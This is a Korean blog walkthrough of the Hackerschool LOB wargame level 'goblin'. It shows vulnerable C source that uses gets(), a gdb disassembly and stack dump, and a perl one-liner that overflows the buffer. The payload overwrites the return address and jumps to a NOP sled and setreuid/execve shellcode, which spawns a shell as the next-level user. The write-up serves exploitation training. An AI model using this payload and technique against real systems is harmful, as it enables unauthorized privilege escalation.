본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( cobolt -> goblin ) by ORANG

LOB_cobolt

 

 [cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}

 

bash2 띄우고~ 소스를 보겠습니다! 힌트는 small buffer + stdin 입니다.

이전 문제와 크게 다른것 같지 않군요, 이전 문제는 인자를 넘겨받아 strcpy로 buffer에 저장했다면

이번엔 gets함수로 바로 buffer에 저장하네요ㅎㅎ

역시 환경변수를 이용하거나, 음.. 어떤 식으로 표현해야할지 모르겠는데..

gets함수는 입력받는 크기에 제한이 없으므로 buffer+SFP+RET+nop+셸코드 주소으로 입력한 후에

셸코드 주소로 리턴하는 방법으로 시도해볼까 합니다. 환경변수는 역시 keep!!

 

gdb 분석 후 메모리 구조를 그려보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x80483f8 <main>: push   %ebp

0x80483f9 <main+1>: mov    %esp,%ebp

0x80483fb <main+3>: sub    $0x10,%esp

0x80483fe <main+6>: lea    0xfffffff0(%ebp),%eax

0x8048401 <main+9>: push   %eax

0x8048402 <main+10>: call   0x804830c <gets>

0x8048407 <main+15>: add    $0x4,%esp

0x804840a <main+18>: lea    0xfffffff0(%ebp),%eax

0x804840d <main+21>: push   %eax

0x804840e <main+22>: push   $0x8048470

0x8048413 <main+27>: call   0x804833c <printf>

0x8048418 <main+32>: add    $0x8,%esp

0x804841b <main+35>: leave

0x804841c <main+36>: ret

 

main+3 을 보면 0x10(16바이트)의 메모리를 확보하는게 보이네요

dummy는 이번에도 없습니다!! 레드햇 6.2자체가 더미를 생성하지 않나? 생각이 들어서 찾아보니.. 레드햇 6.2에는 dummy가 생기지 않는다는군요!! 랜덤스택도 없고 더미도 없고.. 너무 좋네요 ㅎㅎ

RET [4]

SFP [4]

buffer [16]

 

gets함수가 끝난 후인 main+15에 브레이크 포인트를 걸고 메모리를 읽어보겠습니다. 

 

 (gdb) b * main+15

Breakpoint 1 at 0x8048407

(gdb) r

Starting program: /home/cobolt/tmp/./goblin

AAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD


Breakpoint 1, 0x8048407 in main ()

(gdb) x/100x $esp

0xbffffab4: 0xbffffab8 0x41414141 0x41414141 0x41414141

0xbffffac4: 0x41414141 0x42424242 0x43434343 0x44444444

0xbffffad4: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffae4: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffaf4: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffb04: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffb14: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffb24: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffb34: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffb44: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffb54: 0x00444444 0xbffffd94 0xbffffdb2 0xbffffde6

0xbffffb64: 0xbffffdf1 0xbffffe02 0xbffffe17 0xbffffe1f

0xbffffb74: 0x00000000 0x00000003 0x08048034 0x00000004

0xbffffb84: 0x00000020 0x00000005 0x00000006 0x00000006

0xbffffb94: 0x00001000 0x00000007 0x40000000 0x00000008

...생략...

 

 

A로 된부분이 buffer 부분, B가 SFP부분, C가 RET부분, D가 전달해줄 셸코드 부분을 나타냈습니다.

셸코드가 시작되는 주소는 0xbffffacd0이네요. nop을 전달해준 후에 넉넉하게 0xbffffaf4 쯤으로 잡겠습니다ㅎㅎ 랜덤스택은 없지만.. gdb와 실제 메모리 사이의 오차가 존재할지도 모르니까요!!

공격을 시도해보겠습니다!!

 

 [cobolt@localhost cobolt]$ (perl -e 'print "A"x16,"BBBB","\xf4\xfa\xff\xbf","\x90"x200,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'; cat) | ./goblin


AAAAAAAAAAAAAAAABBBB哨??1육1????????F??1??h//shh/bin??S????

                                                           ??



id

uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt)

my-pass

euid = 503

hackers proof

 

한번에 깔끔하게 성공했네요ㅎㅎ 문제가 잘풀리니 기분이 너무 좋네요~~

환경변수를 이용한 방법은 패쓰하겠습니다!!